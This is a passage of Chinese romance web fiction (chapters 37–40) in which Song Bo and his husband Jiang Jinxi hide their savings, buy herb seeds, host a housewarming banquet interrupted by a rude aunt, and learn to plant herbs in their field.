最右边被宋泊改造成了简易书房,靠墙放了个书架,书架前有一套书桌,书桌旁也放了个灯架,这地儿用来学习用。 江金熙要学医术,那肯定得腾出个地儿让他能专心读书。 江金熙也是满心欢喜,自发现自己有几分喜欢宋泊以后,他便一直想着卧房建成,回了自己家才能真正放松下来。 “剩下的钱咱们藏哪儿?”宋泊让他找的银两,除去建房和置办家具的钱,还剩下十两。十两搁在以往只是个零头,但对于现在的他来说,可是一笔不少的数儿。 “随你处置。”宋泊说:“你想藏哪儿便藏哪儿。” 这话说着简单,听着却十分悦耳。 “好啊,那我藏了你可不知道位儿了。”江金熙仰着头,有些傲娇地瞧着宋泊。 “行,我找不着位儿,小贼肯定也找不着。”宋泊顺着江金熙的话往下说,“我就不必担心银两被偷儿了。” “你当真这么信我?不怕我毛了这钱?”江金熙说。 宋泊转过头,看着江金熙的眉眼,柔声道:“你可是我夫郎,我不信你,还能信谁?” 这话就如一根羽毛,骚上江金熙的心,江金熙的面儿悄悄就红了,他把宋泊推出卧房,留下一句“我藏银子了”便一把把门关上。 江金熙的这些小动作总是在不经意间可爱到宋泊,宋泊环胸站在门外,也没想着故意去偷看,说了只有江金熙知道,就真的只让江金熙知。 过了一小会儿,房门从里头打开来,江金熙小跑两步拉住宋泊的手腕,牵着他往屋里去。 这倒是江金熙头一次主动拉上他的手,宋泊的思绪都飘到了江金熙泛着微凉的手上。 秋往冬去,体寒之人最是难熬,越往冬走,江金熙的手脚应当会越来越冰凉,他得赶紧去买些过冬的物什,什么手炉、脚炉的都得买点,围巾啊手套啊也得置办上。 村里条件比不上京城,可宋泊会尽可能让江金熙过上一个舒适的冬儿。 “你找吧。”把宋泊攥进屋儿以后,江金熙松开手,两手一插,插在腰的两侧,神色中满是自信,看着是对自己的藏物之处非常有自信。 宋泊不扫江金熙的兴儿,他在屋中开始寻找起来。 这屋里总共就这么老大,在床底床架上又瞧着一包银两,宋泊回到江金熙身旁,说:“你藏哪儿了,我找不着。” 江金熙的心脏砰砰跳得飞快,在宋泊离床底那包银子最近的时候达到巅峰,现在见宋泊两手空空回来,他不由升起一起骄傲,“我跟你说我都藏哪儿了。” 江金熙把十两分成了三份,床底那份最大,足有五两,而衣柜里那份是应急用的,只有二两。最后一份三两的银子,搁在书桌角落。 “真是厉害,除了咱俩,肯定没人能找着这些银子。”宋泊毫不吝啬夸奖,“其实只要你知道这些银两的方位就成。” “那怎么行呢。”江金熙说:“等你急用钱的时候我又不在家里,那不是歇菜了?” “家”这个字听起来实在温暖,宋泊看着江金熙的眼神更是柔和几分,“好,都依你的。” 十月二十二日,船老板的货物全部搬完,宋泊的货工身份也告一段落。昨儿个他估计了货物的量,估计午时左右就能完全搬完,果然如他所料,午时一刻,堆货物的地儿彻底空了。 最后一顿午饭依旧是船老板给的,船老板手中拿着一碗酒,一脚踩在板凳上,豪声说着,“相逢便是缘分,这活儿结束,大伙儿回去过个好冬,明儿开春再来。”语罢,他一个仰头,一口便将酒全部喝下。 其他人也跟着陪了一碗酒,这下没有时间限制,大家吃吃喝喝着聊着天,热闹得不行,宋泊与李五说着话,让他明儿个酉时来他家中吃席。 “等的这顿终于来了?”李五笑道。 “正好搬货结束,咱们也能喝个尽兴,不必火急火燎着急回家不是?”宋泊说。 本来二十号他就该摆席的,但因为那时还有搬货的活儿要做,下工再摆席时间太紧不说,第二天又得赶着上工,只是想着便觉着有些累了,宋泊便稍稍往后延了几天。 反正席肯定是要摆的,什么时候摆其实相差不大。 “宋泊,有人找你来了。”正说着话,旁边的货工碰了下宋泊的胳膊。 宋泊顺着货工指的方向看去,只见江金熙站在阳光之下,一头乌发束着,白皙的肤色映着太阳的光,正眉眼弯弯地望着他。 没想到江金熙会来这么早,宋泊一抹嘴,又提醒了李五一声,就起身离了座儿。 “那人谁啊?” “宋泊的夫郎。” “长得真好看。” “可不是?宋泊真是有福了。” 第37章 第三十七章叶单越。 宋泊算着时间,让江金熙午时过后来找他,两人一块儿上镇买些东西再订一桌席面儿。 “你怎么来得这么早?”宋泊问。 “大姑今日做饭做得早,午饭吃后我就来了。”江金熙答。 昨儿个宋泊说了要与他一块儿上街买东西以后,他便一直期待着,明明只是件极小的事儿,他却想着要早些再早些,如此的结果便是硬生生催着宋茶栽,把做午饭的时间提早了半个时辰。 人群之中,宋泊与江金熙并排走着,他问:“你要买的草药种子可想好了?” 十月底,秋季的农忙差不多也到这个时间停止,经过上回的事儿,宋芸香也不好再占着地,腾出的空地正好给江金熙捣鼓草药种子。 “想好了。”江金熙从衣襟里掏出药单,上面用清秀的字迹写着草药名。 江金熙两手捏着纸张上端,把纸张调转了个方向,亮给宋泊看,“这些草药又好种又好用,拿它们来练手正合适。” 江金熙的字如他本人一般,漂亮隽永,应当也是练过不久。看着纸面上的字迹,宋泊忽然想了起来,上次从秦令手里赢得的文房四宝,现下正被旧房残骸压着。当时要盖新房,旧的废墟便被一起扫到一处去了,如今看着字,宋泊才把它想起来。 还好那些废墟还没找人清理掉,不然真是损失了一大笔钱。 宋泊看过后,江金熙便将纸重新折了起来,放回怀中。 两人聊着说着,走到了种子铺前。 种子铺的装潢非常简朴,店中除了装种子的柜子和前台一套桌椅,便无它物。 因为店小,店老板一眼就能看着店内各个角落,故而他没有招工,只自己一人料理着这家小店。 见着有客来了,坐与前台的店老板搁下笔,走到两人身旁,“想买什么种子?” 江金熙按着记录的名儿报给店老板听。 店老板这店小,又大多卖的粮食种,江金熙说出来的十种草药,他这儿只卖一半草药的种子。 “无妨,一半也成。”江金熙倒也没有强求,传福镇里的种子铺不止一家,他再去别家问问就是。 药种子不比普通粮食种子,自身娇贵不好养,价格自然往上翻了几番,不过到底不是成熟草药,所以江金熙便用了五十钱,买了五把种子。 宋泊本来想着掏钱,但江金熙在他之前就付了钱,“这是我要买的种子,我付。” 宋泊松开抓着钱袋子的手,江金熙想要付钱那便让他付,反正以后长出来的草药也是他来用。 又走了两家种子铺,最终江金熙用一百钱买到了七种种子和一些肥料。 头一次要自己下手做些事儿,江金熙心底还有些激动,他手里抓着装有种子的袋儿,走路都带着点儿跳走的小劲儿。 “真有这么开心?”宋泊被江金熙的情绪感染着,跟着步伐也轻快不少。 “等着在家里数钱吧。”江金熙说。 宋泊一个没忍住笑出了声,暂且不说这些草药的成活率有多少,就单是一株成熟的草药,也卖不到多少钱。江金熙种的草药大多是消肿化瘀、清热解毒的药,因为这些草药好养活,所以市面上卖的也多,供给一上去,价格就低了下来。 江金熙圆目一瞪。 宋泊立即说着:“那我可得趁它们还未长大,赶紧练练数钱的手法。” 买完种子,宋泊与江金熙又到喜春楼订了一桌席面儿,张福财答应着会按时送菜进村里。 进镇子的事儿都做完以后,两人便准备步行回村,两人搭伴路上不无聊,还能当锻炼身体了。 “听说边关大捷了!” “真的?那些个蛮族欺负咱们那么多年,终于被打回去了?” “还得是叶小将军出马,一举拿下!” 江金熙听着周围百姓的谈论,心中咯噔一下,叶小将军指的应当是叶单越,细细想来他已经很久没有想起叶单越了,没想到他还真的打了胜仗。 打了胜仗之后应当就会回京,不知道他会不会发现自己不在京城中。 若是他找来了那可怎么办,自己是要跟他一块儿回京吗? 江金熙看着走在他半个身前,帮他挡住人流的宋泊,心中有些混乱。 宋泊走了几步,见江金熙没有赶上来,他转过身,“金熙?” 江金熙甩了甩头,那些都是以后的事儿,现在就暂且抛到脑后,他应了一声,跑到宋泊身边,与他一块儿走着。 翌日,宋泊难得睡了个懒觉,货工的工作已经结束,接下来等着时间到去秦闻那儿报到就行。 船老板之前已经跟秦闻打过招呼,说了放人时间延后的事儿,秦闻爱才,便也不急着宋泊马上就去,他给宋泊放了一周多的时间,让他十一月一日再去百书阁找他。 正好这几日他可以帮江金熙松松土,把种子先种下去。不然凭着江金熙着细胳膊细腿的,忙活一日都不一定能种下三、五个种子。 宋泊翻过身,江金熙正面朝着他这侧,半张脸埋在被子中,睡得正香。 宋泊本就喜欢在黑暗的环境中入睡,之前是没那般条件,现下他买了两块布挂于窗前,睡觉时就放下,清晨的阳光无法直接从窗户透进来,早晨房内还有些暗着,特别好睡。 不知不觉当中,他已经穿到这个世界一个多月了,慢慢生活着宋泊倒真觉着自己融入了这个世界。 宋泊支起胳膊,撑着脸细细瞧着江金熙,话本中的事儿都没有发生,江金熙还是完整的,没有被原著折磨得支离破碎。他没忍住抬了手,蜻蜓点水般碰了下江金熙如同豆腐般滑嫩白皙的皮肤。 江金熙的长睫毛微微触动着,宋泊赶紧收回手,做贼心虚地下了床,出了卧房。 江金熙缓慢睁开眼来,抬手用指尖触上宋泊刚刚摸到的地方,那抹触感实在太轻,差点让他以为他是梦中被宋泊碰了。 宋泊,你是不是与我一样,有些动心了呢? 午时初,宋泊站与厨房之内,一下一下用力地揉着面。 晚上有席面儿吃,中午宋泊便不想倒腾了,揉个面下两碗面条,丢几根青菜打个鸡蛋再放几片腊肉,也够味儿。 宋泊进厨房许久,江金熙好奇着就也摸了进来,见宋泊挽着衣袖,手臂上青筋暴起正在揉面,他道:“你要亲自煮面?” “上次没煮成,今日休息试试手。”宋泊说着,又使劲用掌心揉了一次面。 江金熙是京城人,京城位于北方,本就喜欢吃面食,听到宋泊这么说,他腹中的馋虫被勾了起来,“还要多久?” “再半个时辰就能好。”宋泊答。 揉了面以后就要醒面,醒面途中还得继续揉面,一套流程下来时间可短不了。 江金熙知道心急吃不了热豆腐,就乖巧地搬了把凳子,坐在厨房内等着。 “你去外头看书吧,好了我唤你就是。”宋泊说。 厨房里烟雾缭绕可没什么好待的,待久了身上还容易沾上一股油烟的臭味。 “不,我就要在这儿等着。”江金熙不仅要等着,还有些蠢蠢欲动。 在第二次醒面的时候,他主动叫宋泊让他试试揉面。 这些简单的事儿他在京城从未做过,简简单单的揉面动作不过摁、抓、丢循环,却让他的胳膊酸了起来。揉面看似简单,其实做起来并没有那么容易。 “累了吧,我来。”宋泊说。 “不。”江金熙一抹头上的汗水,坚定着要自己来。 都说了自己来这第二回的醒面、揉面,半途中让宋泊来这算怎么个事儿? 宋泊知晓江金熙的性子,他一旦认定个事儿便不会放弃,所以宋泊也没强行抢活,让江金熙完成了第二次醒面的过程。 尝试过一次以后,江金熙就收了那股好奇的心,面食吃起来好吃,揉起来太累。 第三次醒面完毕,宋泊先烧了水,随后丢了几块腊肉进去,听闻这腊肉还是江金熙做的,倒让他对江金熙又改观了几分,京城内的谦谦公子原来也乐意做些厨房里的活儿。 腊肉在水中翻滚着,香味渐渐冒了出来,宋泊将面团从盆里拿出来,直接拿着刀削着面团,一个个面片掉入锅中,宋泊手势自然,不像是第一次做刀削面。 面都削进锅里以后,宋泊等了一会儿,才把菜丢进去,又打了两个鸡蛋,放了点调味,等鸡蛋和菜熟了以后,便捞出来装碗中。 江金熙早就馋得不行了,面刚端到桌上,他就拿着汤匙舀起面片送去口中,果不其然被烫了个正着。 “你这般着急作甚。”宋泊急忙端了凉水来,让江金熙含着缓解。 江金熙含着水,两腮鼓鼓地眨巴眼睛,有些像小仓鼠。 过了一会儿,江金熙把水吐掉,舌尖上的灼烧感缓和不少,“这面儿真好吃。” 就算被烫着了,他也是尝着味了,汤头鲜而清淡,面有嚼劲,宋泊都能靠着这个手艺去北方摆摊子卖面了。 到时候宋泊去北方卖面,他就给宋泊管账。 听着江金熙的话宋泊也是哭笑不得,没想到这大馋小子都被烫着了,还能夸他面好,真是让人怒不得。 第38章 第三十八章指导。 下午,张福财准时来了村里,因着宋泊名声在外,在村里头随便抓着个村民一问就能知道宋泊家位于哪个方位。 因为宋泊订了个十二人的席,再加上宋泊家中碗筷不够,张福财就拉了辆牛车来送货。 “宋公子,出来接东西了。”张福财站在院门外高声叫喊着。 宋泊和江金熙听着声儿从卧房中出来,张福财身旁还站着个中年男子,应该是从喜春楼拉出来的厨子,用来招待客人的席面儿当然要现做,哪儿有让客人吃冷菜的道理。 “张老板可准时了。”宋泊拿着碗筷往厨房里走,不忘与张福财搭句话。 “那自然。”张福财鼻孔朝天,自豪道:“做生意讲究的就是个信用。” 厨子进了厨房以后就开始着手做菜,宋泊坐在厨房内的小木凳上,把借来的碗筷通通洗过一遍,由江金熙领着张福财去参观了下卧房。 “这房子搭着确实不错。”张福财抬头环顾四周,两个屏风恰到好处地将房内分开,只不过这屏风是画字结合,画画得不错,字却不如宋泊字的一根毫毛。 张福财本来想问江金熙怎么不让宋泊题字就好,但想着上次在喜春楼宋泊都快把眼睛眨抽筋了,便歇了这等好奇。 家家有本难念的经,他可别一来把人家的经直接撕了。 客人一个个来了,李五记着宋泊说完看李会书的功课,就带着阿篮和李会书提早一个时辰来。 远远的,宋泊便瞅着高个子的李五,他出门迎接,李五将手中的礼交与宋泊。 “来就来,作甚带东西?”宋泊说。 “吃席不带礼,你敢叫我还不敢来哩。”李五回道。 “嫂子、会书。”宋泊与阿篮和李会书打了声招呼。 李会书身上背着个箧笥,这箧笥看着不小,里头该是装了不少东西。 李会书两手抓着肩上背着的两条竹袋,弯身鞠躬,“宋叔叔好。” 乖巧的孩子总是讨人喜欢,宋泊摸了下他的脑袋,问他功课做得如何。 哪曾想这句话打开了李会书的话匣子开关,他滔滔不绝着说着,只差直接就地放下箧笥,把里头的作业掏出来给宋泊看了。 “吃完饭再看。”宋泊摁住李会书躁动的手,“等会见着夫婶,可别说我教了你写字。” “为何?”阿篮问。 会读书可是件好事,更何况宋泊还不是一个普通的读书人,他可练有一手好字,当是家中骄傲才是,怎么落到宋泊这儿却需要藏着掖着了。 “有些难言之隐。”宋泊说。 这话点到即止,给人留有一些遐想的空间,都说难言之隐了,定然是发生了不好的事儿,一般人这么听是不会再追问下去了。 果然,李五与阿篮对视一眼,两人都让李会书要听宋泊的话。 李会书重重点头,承诺着自己一定完成这个任务。 带着人一块儿到了院中,江金熙正好领张福财看完了房子,他一瞅着阿篮,立即认出她就是那日豆腐车翻了的摊主。 同一时间,阿篮也认出了江金熙,“你是!” 见两人的反应像是认识,宋泊问:“你认识阿篮?” “之前我与你说我帮了个摊主,她就是那个摊主。”江金熙答。 被江金熙一提醒,宋泊想起那日他让宋茶栽带江金熙去传福镇,而后江金熙与他说了他在镇里发生的事儿。这世界也真是小,江金熙顺道帮的人就是李五的娘子。 “咱们还真是有缘分。”李五哈哈大笑着,抬手揽住宋泊的肩膀,“不仅咱俩认识,咱俩的内子也认识。” 江金熙与阿篮走在一块儿,看着李会书亦步亦趋跟在他们身后,他说:“这是令郎?” “什么令郎呀。”阿篮摆手说道:“傻小子一个,叫夫婶。” “夫婶好。”李会书双眼放光盯着江金熙瞧。 他的师傅有一手好字,配他的人自然不能差到哪儿去,眼瞅着江金熙貌若天仙,李会书心底十分满意自己这个师夫。 “身上还背了箧笥,刚下学堂?” “哪儿能啊,这不是……” 听着自家娘亲应当要说些什么不能说的话了,李会书极有眼力见地扯了下阿篮的衣袖,阿篮咳嗽一声,继续说着:“这不是学了点皮毛,背着到处显摆嘛。”为了保护宋泊的秘密,阿篮说起自家儿子来毫不留情。 “我略懂一些,等会可以帮着瞧瞧。”江金熙说。 “你也会书?”阿篮惊讶地瞧向江金熙,家中愿意让哥儿读书的可是少数,他定然是家中的宝儿。 “略懂。”江金熙不敢自夸,京城中的官家孩子,不管是儿子、哥儿还是女儿,都得送到书堂中识字念书,唯一的区别就只有教学的内容不同,儿子们学的都是用在官场上的知识,哥儿和女儿就只需要会识字、会几篇诗文就行,侧重点都在于怎么持家。 江金熙对那些女红没多少兴趣,缝出来的东西也是歪歪扭扭,所以那些个与手工技巧有关的课,他只能拿个及格的分儿。倒是与文学有关的课,他霸占了十几年的榜首。 “那感情好呀。”阿篮乐答道。 进了屋,李会书就把箧笥里的作业拿了出来,他听着宋泊的话,每日完成既定任务以后他还会主动加练,一月写来,字比以往有了很大的提升。 “你的字写得不错呀。”江金熙夸道。李会书看起来只是十岁的孩子,却能写出带着劲儿的字。 “谢谢夫婶夸奖。”李会书害羞地拧着衣摆。 家里穷,义堂里的老师也没空看他的作业,除了宋泊,还是头一次有其他人瞧了他的作业。 李五和张福财听不来这些文绉绉的东西,两人本不相识,聊了几句便约着出去村子里溜达会儿,房内只剩下宋泊、江金熙、阿篮和李会书四人。 江金熙拿着李会书的字一幅幅看过去,宋泊站于江金熙身后,顺带着也看了一遍。 “你这注解可是有了错。”江金熙眼睛尖,看字速度不慢的同时,还能敏锐地抓住李会书作业中的错误。 “哪儿?”李会书伸头来看。 宋泊也仔细看了江金熙手中拿着的这一页,确实是有注释错误。他强忍着自己的职业习惯,没有直接冲上去指着错处开始教学。 “知所先后,则近道矣。”江金熙将纸平整地铺在桌面上,指着上头的字,“你这儿写的注释前头是对的,后面确错了。” 李会书两手乖乖放在腿边,安安静静洗耳恭听。 “知所先后,则近道矣,说的是明白本末始终的道理,就接近事物发展的规律,并不是就能走近学问道里的意思。” 听江金熙一解释,李会书才发现自己错得离谱。 “这是谁教你的?”宋泊问。好歹他也算是半个师傅,自家徒儿被别人误导了去,他可得寻人说理。 李会书偷瞄一眼宋泊,然后低下头,“我自己想的……” 义堂的老师只教识字,其他的都需他们自己领悟,他可是要考科举的人,老师不教他只能自己参透,时不时还得偷偷溜进私塾,偷听了几堂课以后,才写下现在的注解。 李会书只带了这些来,再往后的注解也不知道写成什么样子,江金熙便说着,“如果你还有什么不懂的,尽管来问我。” “这就麻烦了。”阿篮不识几个大字,却也知道江金熙腹里是有墨水的,这看一次和看多次可是本质区别,她刚刚听江金熙提了他要种草药的话,他自个儿也有事儿要做,哪儿能让自己家孩子麻烦他。 “无妨,说几句话而已,费不了多少功夫。”江金熙说。 李会书怕阿篮还要再拒绝,他机灵地上前一步,朝江金熙行了一礼,“谢谢夫婶。” 李会书长得可爱又有礼貌,江金熙乐意与这样的孩子打交道,他把李会书的作业小心地折好交还与他,“行了,东西收一收,该玩儿的时候也要玩得尽兴。” “嗯!”李会书点了把头,将作业装回箧笥中,然后把箧笥搁在房内,跟阿篮说自己不会跑远后便跑出了卧房。 宋泊后脚跟着李会书,在确定江金熙看不见以后他攥住李会书衣服的后脖领。 “宋叔叔。”李会书转过身站在宋泊面前。 “字有进步,但不能骄傲,练字可是苦功夫,肯花时间练它必然会回报你的。”宋泊说:“还有你那些注释,自个儿别瞎琢磨,等我给你写注释本。” 李会书双眼放光,随后又暗了几分,“写注*释本太浪费您的时间了,我可以自学的。” “自学然后错了?”宋泊调侃着。 李会书嘟着嘴低头不说话。 “都教你字了,再教你一门也不费什么功夫。”宋泊抬手揉了把李会书的头发,“到时候中了记得请我吃饭就是。” 李会书一点儿都不怀疑宋泊的实力,只是他有个问题想不明白,“宋叔叔,你这么厉害,为何不能与夫婶说呀?”在他的想法里,夫婶肯定会因为自己夫君是个读书人而高兴的。 “你啊,好好读书就是。”宋泊说。 第39章 第三十九章哎哟,怎的不请我们呀?…… 墨色爬上天,喜春楼的厨子将菜端上了桌,十一人的席,宋泊订了十七道菜,菜吃不完可以放着明日再吃,头一次办席,面子可不能丢了。 虽说这席儿是宋泊办的,但因着请了宋里正,还是得让宋里正说上几句。 宋里正毕竟是有官职的,也知道什么场合该说漂亮话,什么时候该随性一些。像宋泊摆的这个新房席,席儿小,请的还都是亲朋好友,就不需要讲那些假大空的场面话,随性些反而还讨人欢喜。 于是宋里正便没说太多,只是恭喜了下宋泊,又说了点儿祝福话,就把话语权换与宋泊。 “谢谢大伙儿今天给宋某面子。”宋泊站起身来,拿起桌上已经装满酒的酒杯,“宋某敬大家。”语罢,他直接仰头一口喝下,随后又给自个儿倒了一杯,一连喝下三杯。 宋里正鼓起掌来,“好酒量。” 欢声笑语之间,饭席正式开启,大伙儿边吃边聊,宋泊听男子们聊着国家大事,江金熙则陪着宋灵铃她们,谈论哪个花香更合适做成香膏。 “哎哟。”忽然之间,一声尖锐的女声插入各人的谈笑之中,宋泊转头看去,是宋芸香和宋申闻来了。 因着卧房里的地儿不够坐不下十一人,宋泊便将几张桌子拼拼凑凑挪在院中,索性宋泊家离其他村民家还有些距离,在院中吃饭也不会扰着别人。 “宋泊这可就是你不厚道了,开席怎么不请姑姑叔叔来呢?”宋芸香精神气满满,语气飞扬。 自上次田里的事儿发生以后,宋泊已经很久没与他这位姑姑见过面了,宋泊不找她,她自然也不会自讨没趣来找宋泊。没曾想今儿个居然破天荒地不请自来,应当是发生了什么大好事,才会迫不及待地前来炫耀。 毕竟是家中亲戚,宋泊也不好在外人面前拂他们的面子,便又拿了两把椅子来,让宋芸香和宋申闻坐入席中。 宋申闻还是惦记着江金熙,眼神时不时就往他身上瞟。 “你有什么事?”宋茶栽问。 “嗨,也没啥。”宋芸香摆了下手,“这不是小弟的吉日定下来了,准备请大家吃席嘛。”她抬眼看着宋里正说:“正巧里正也在这儿,下月二十五,记得带夫人和令爱一起来参加呀。” 宋申闻跟着也邀请宋里正。 被两人一打断,席上的气氛立即发生了改变。 宋泊给两人各拿了套餐具,宋芸香却跟看不上一般,捂着嘴笑着:“宋泊你就用这些菜开席呀?” 得,这是冲他来的。 宋泊夹了一筷子菜放入碗中,问:“这些菜不成?” 喜春楼的菜品不便宜,能摆上十七道菜已是村中席面上等的水平,在城里或许不够看,但在村中却十分够面儿。 宋芸香没说不成,只是眼中的嫌弃完全没有隐藏的意思。 “算了,我们来也只是说个好消息。”宋芸香从位置上站起来,她碰了下宋申闻,宋申闻才收起眼神,与她一同站起,说:“下月二十五宋某成亲,大伙儿既是宋泊的朋友,自然也是宋某的朋友,欢迎大伙儿前来参加,宋某感激不尽。” 宋芸香睨了宋泊一眼,道:“诶,欢迎大家。” 两人说完话就离开了院中,有这么个插曲发生,大伙儿的气氛还未活络起来,又冷了几分。 “什么人呐。”宋芸香刚刚那个语气落入宋灵铃的耳朵中,怎么听怎么难受,她拿胳膊肘碰了下江金熙,“金熙哥,你应当没有被她欺负吧?” 江金熙摇了摇头,“宋泊一直护着我呢,她欺负不着我。” “这还算是个男人。”宋灵铃道。 宋芸香不愿意动筷吃菜也就算了,眼中还有嫌弃的神色在,算是变相地打了张福财的脸,张福财自刚刚就一直脸色不好。 “张老板不必将她的话放在心上。”宋泊转向张老板那侧说道。 “我不至于那点儿气量也无。”张福财喝了两口酒,借酒散发心中淤气。 “我知张老板气量大。”宋泊拿起酒杯与张福财一碰,“不过还是得替我四姑与你道个歉。” “咱对事不对人。”张福财与宋泊一道将酒喝下,有了宋泊的陪酒道歉,那抹插曲便被他丢之脑后。 宋泊一个礼貌的文人雅士,族中怎会有这般无理之人,张福财确有几分想不明白。 好在一桌子席有半数人不认得宋芸香,大伙儿左耳进右耳出,很快便忘了宋芸香,又碰起酒杯,直至一个时辰后才散了场。 李五一家与张福财还得回镇子上,宋泊便没让他们待得太晚,晚了没车回去不说,路上还不大安全。 李五喝得嘴瓢脚步打飘,还不往揽着宋泊的肩膀说:“宋弟,明儿个咱再来找你喝酒!” 阿篮看不过眼,一把子攥着李五的衣领,将他领走。 江金熙将李会书的箧笥从卧房里拿出来,帮着他背好,“等会回去帮着点娘亲。” “嗯,谢谢夫婶。”李会书眼神清明,他是席中唯一没有喝酒的人。 “下次我可要吃你的状元席!”李五高声喊道。 正巧这时江金熙与李会书从卧房里出来,正正好听见了这句,江金熙问:“什么状元席?” 阿篮捂着李五的嘴,一个劲儿地往外拖,听江金熙这么问,她答道:“他想吃会书的状元席。” “这般想来可是有些早了。”江金熙笑答。 李会书才十岁,而且科举要考的书他才刚刚开始学习,他想要考上状元最快也得五年以上,李五想吃这席属实是有些太早了。 “哈哈。”阿篮尬笑两声,“喝醉了就这样口无遮拦,莫怪莫怪。” 听着两人交谈,宋泊松了口气,还好阿篮反应迅速,不然真得漏了馅。 宋泊喊的牛车来了,他与阿篮一块儿,把李五和张福财统统抬上车后,等牛车缓缓行去,他才收起眼神走入院中。 除去李五那个醉鬼,这住本村的醉鬼也有一个,那就是宋茶栽。 宋里正一家早已回去,只剩宋茶栽趴在桌子上歇息。 宋泊一路向好,宋茶栽高兴便借着这场席没有遮掩地多喝了几坛酒。 刘南民托起宋茶栽的手臂,将她从位子上揽了起来。 宋泊马上搭了把手,两人一左一右扛着宋茶栽。 “金熙你在家待着,我送大姑回去。”宋泊交代道。 “好。”江金熙应着。 两个男人扛一个女人那是轻轻松松,这一来一回,宋泊只花了半刻钟的时间。 回到家中,宋泊看着江金熙俯身捡着地上落着的酒瓶,心中忽然升起一股苦涩。 江金熙可是京城中的贵哥儿,现在却落着要自己打扫卫生。 “我来,你去房中休息。”宋泊弯下腰,与江金熙拿着同一空坛。 “这么多东西要收拾,你一个人怎么干得过来。”江金熙松开抓着酒坛子的手,“你收酒坛,我来收盘子。” “没事的,我来就好。”宋泊又跟在江金熙身后,与他抢着收盘子。 江金熙要扫地,宋泊就抢着扫把,江金熙要倒垃圾,宋泊就把着木桶,终于,江金熙转过身,站在宋泊身前,他眼神认真地盯着宋泊,说:“你到底要做什么,为什么要打扰我收拾。” 宋泊也吃了酒,虽然没有李五、宋茶栽那般酒醉,但脑子还是有一点点迟钝,“我不想看到你吃苦。” 江金熙本来一腔的火气,被宋泊用可怜兮兮的眼神看过以后,再大的火儿都变成了火苗,更别说宋泊还说出这种话来,更是将那点儿火苗都给熄灭了。 江金熙哭笑不得,他两手托起宋泊的脸,强迫他看着自己,“我并不觉得收拾自己家中有多辛苦。”江金熙两手一扭,拉起宋泊的脸颊,一张嘴因着拉扯变得扁扁的,像鸭子一样,“你可别小看我了。” “没有小看的。”宋泊动了动唇,发出的声音也变了调。 这声音听起来与以往不同,江金熙没忍住笑出了声,松开捏着宋泊脸颊的手,“那就把木桶给我。” 宋泊眨了两下眼,乖巧地把木桶交到江金熙手中。 “乖,收拾酒坛子。”江金熙垫脚拍了下宋泊的脑袋,跟哄狗狗一样把宋泊哄走了。 宋泊当真是疼他,连家中收拾这种小活都不让他做,可这是他们的家,他该自己维护的。在自己家中什么事也不做,闲是闲了,轻松是轻松了,就是没了归属感,像个外人一样,他不想当外人。 江金熙以往在京城中是没做过收拾东西的活儿,但被害到这偏远村子以后,收拾东西的活儿不在少数,他也算是有些熟悉了。 半刻钟时间,宋泊与江金熙将院中清理干净,脏盘子丢与厨房,这次宋泊说什么都不让江金熙动手。 秋天晚上的水极凉,今日盘子数量又很多,洗盘子不是短时间可以结束的,江金熙若是帮忙将自己手在冻出个冻疮来,宋泊可是会心疼死的。 “那我就在一旁儿看着你洗。” “怕我偷盘子?” 江金熙笑了,“对,怕你偷盘子。” 第40章 第四十章种地。 今儿个是个好天气,太阳高高挂于空中却不太热,十月下旬的风带着微凉,正是干农活的好时间。 宋泊家中没有农具,他便就近原则,跟刘南民借了农具。 一顶草帽戴在宋泊的脑袋上,他右手还拿着一把锄头。 江金熙也戴上了草帽,手里拿了把小铲子。 宋泊负责把土松了挖个基础洞,他则负责用小铲子将洞掏圆,种下草药种子以后再用小铲子把土埋上。 这么算来,宋泊要使大劲,江金熙要经常起身蹲下,两人活的强度其实差不了多少。 第一次下地干活,江金熙心底有些紧张,一方面自己没做过这些活儿,一方面又怕草药种下去活不成。 因为两人都没种过地,刘南民作为宋泊认识的人中最会种地的,他便请了刘南民来指导一会儿。 宋茶栽用的草药中有很多都出自他们的田里,这都是刘南民的功劳。 刘南民拿着把锄头,头上戴着草帽,利落地跳入田中。 “种田最骗不得人,你对它们有几分用心,它们便会回你几分收获。”刘南民撸起手臂上的袖子,一锄子下去,土上瞬间就被锄出个洞来,“种草药要注意疏水,草药的根系脆弱,被水一闷就坏了。”刘南民一边干着活儿,一边给宋泊和江金熙讲着道理,“宋泊你过来。” “欸,姑父。”宋泊听话地走到刘南民身边,刘南民指着土上的洞,与宋泊说:“单单这么挖着没有用,你还得翻上几翻,让土彻底松了,才能留洞种种。” “是!”宋泊走到另一条土道儿上,按着刘南民说的,把土松透以后,才留下一个洞来。 两辈子挖出的第一个洞,宋泊喊来刘南民检查。 “不错,每个洞之间的距离也得把握好,不能太宽,浪费土地,不能太窄,叶苗儿长不好。”刘南民说。 “是,我都按姑父说的做。”宋泊虚心学习。 刘南民本来与宋泊就没有多亲近,最近几日宋泊的表现确是让他又改观不少,许是娶夫郎真的能改变一个人,自宋泊成家,这人是越来越往正道走了。这人变好了又有礼貌,刘南民就乐意教。 教好宋泊,刘南民又去教江金熙。 江金熙长得漂亮,刘南民还以为他与城镇里那些个贵哥儿一样,说起种地只是三分钟热度,等尝着种地的苦就会撂挑子不干,没想着江金熙一连种下十把种子,额头上满是汗却只是抬手抹了一把继续往前挪。 又种下一把种子,江金熙抬头看着刘南民,“姑父,这般对了吗?” “对了,特别好。”江金熙聪慧,教了他的事儿,他干几个来回就能上手。 两人都上手以后,刘南民便没了话儿教,他撩起锄头,帮宋泊松土,偶有空闲之时他直起腰休息,田里的宋泊和江金熙就跟不会累一样,一直在田间劳作着。 这对小夫夫性子里有相似的地方,一件事不做则已,要做就必须做到完美,有这样的觉悟,做什么事都会成功。 刘南民忽然有种感觉,这方小田地困不住他们,他们的舞台应当更加广阔。 宋泊抬头,正好与刘南民对视个正着,他嘴角一扬,漏出几颗大白牙。 他大抵是想多了,这傻小子怎么闯得了大舞台,刘南民想。 多亏有刘南民帮着,一日农活做下来完成了计划的五分之一,今日过后刘南民便不会天天来,剩下的五分之四就得靠他们自己。 不过按着这般进程,应当可以在去百书阁上工之前就把所有的种子种入土地中。 想象很美好,现实很骨感。 翌日,江金熙大腿内侧酸痛、小腿肌肉酸痛、腰痛、脖子痛、小臂内侧肌肉也痛,整个人就像在夜里被拆了重组一样,浑身上下就只剩个脑袋不痛。 “你第一次做这么高强度的活儿,肌肉酸痛是正常的。”宋泊说,就像他刚搬货那几天,他也是浑身痛得不行。 江金熙躺在床上,翻个身都得深吸气做好心理准备。 “上次你买的那些膏药还有剩吗?”宋泊问。 “床头柜子第二格。”江金熙答。 